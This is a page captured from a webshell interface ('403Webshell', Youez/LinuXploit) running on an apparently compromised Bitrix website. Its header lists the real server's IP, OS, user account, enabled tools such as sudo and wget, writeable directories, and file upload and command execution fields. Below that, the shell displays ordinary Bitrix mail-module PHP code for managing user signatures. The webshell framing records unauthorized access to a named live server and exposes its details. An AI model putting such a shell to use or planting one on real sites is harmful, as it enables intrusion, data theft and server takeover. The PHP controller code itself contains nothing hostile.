403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/controller/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/controller/usersignature.php
<?php

namespace Bitrix\Mail\Controller;

use Bitrix\Mail\Internals\UserSignatureTable;
use Bitrix\Main;
use Bitrix\Main\Engine\CurrentUser;
use Bitrix\Main\Error;
use Bitrix\Main\Localization\Loc;

class UserSignature extends Base
{
	const USER_SIGNATURES_LIMIT = 100;

	/**
	 * @param array $fields
	 * @return array|false
	 */
	public function addAction(array $fields)
	{
		$unsafeFields = (array) $this->getRequest()->getPostList()->getRaw('fields');

		if (($limit = Main\Config\Option::get('mail', 'user_signatures_limit', static::USER_SIGNATURES_LIMIT)) > 0)
		{
			$count = UserSignatureTable::getCount(array(
				'USER_ID' => CurrentUser::get()->getId(),
			));
			if ($count >= $limit)
			{
				Loc::loadMessages(__FILE__);
				$this->errorCollection[] = new Error(Loc::getMessage('MAIL_USER_SIGNATURE_LIMIT'));
				return false;
			}
		}

		$userSignature = new \Bitrix\Mail\Internals\Entity\UserSignature;

		$userSignature->set('USER_ID', CurrentUser::get()->getId());
		$userSignature->set('SENDER', $fields['sender']);
		$userSignature->set('SIGNATURE', $this->sanitize($unsafeFields['signature']));

		$result = $userSignature->save();

		if($result->isSuccess())
		{
			$userSignature = UserSignatureTable::getById($result->getId())->fetchObject();
			return $this->getAction($userSignature);
		}
		else
		{
			$this->errorCollection = $result->getErrors();
			return false;
		}
	}

	protected function checkAccess(\Bitrix\Mail\Internals\Entity\UserSignature $userSignature): bool
	{
		$currentUserId = $this->getCurrentUser()?->getId();

		if (!is_null($currentUserId) && (int)$userSignature->getUserId() === (int)$currentUserId)
		{
			return true;
		}

		$this->addError(new Error(Loc::getMessage('MAIL_USER_SIGNATURE_ACCESS_DENIED')));
		return false;
	}

	/**
	 * @param \Bitrix\Mail\Internals\Entity\UserSignature $userSignature
	 */
	public function deleteAction(\Bitrix\Mail\Internals\Entity\UserSignature $userSignature): bool
	{
		if (!$this->checkAccess($userSignature))
		{
			return false;
		}

		$userSignature->delete();
		return true;
	}

	public function getAction(\Bitrix\Mail\Internals\Entity\UserSignature $userSignature): bool|array
	{
		if (!$this->checkAccess($userSignature))
		{
			return false;
		}

		return [
			'userSignature' => $this->convertArrayKeysToCamel($userSignature->collectValues(), 1),
		];
	}

	/**
	 * @param \Bitrix\Mail\Internals\Entity\UserSignature $userSignature
	 * @param array $fields
	 * @return array|false
	 */
	public function updateAction(\Bitrix\Mail\Internals\Entity\UserSignature $userSignature, array $fields): bool|array
	{
		if (!$this->checkAccess($userSignature))
		{
			return false;
		}

		$unsafeFields = (array) $this->getRequest()->getPostList()->getRaw('fields');

		$userSignature->set('SENDER', $fields['sender']);
		$userSignature->set('SIGNATURE', $this->sanitize($unsafeFields['signature']));

		$result = $userSignature->save();
		if($result->isSuccess())
		{
			return $this->getAction($userSignature);
		}
		else
		{
			$this->errorCollection = $result->getErrors();
			return false;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit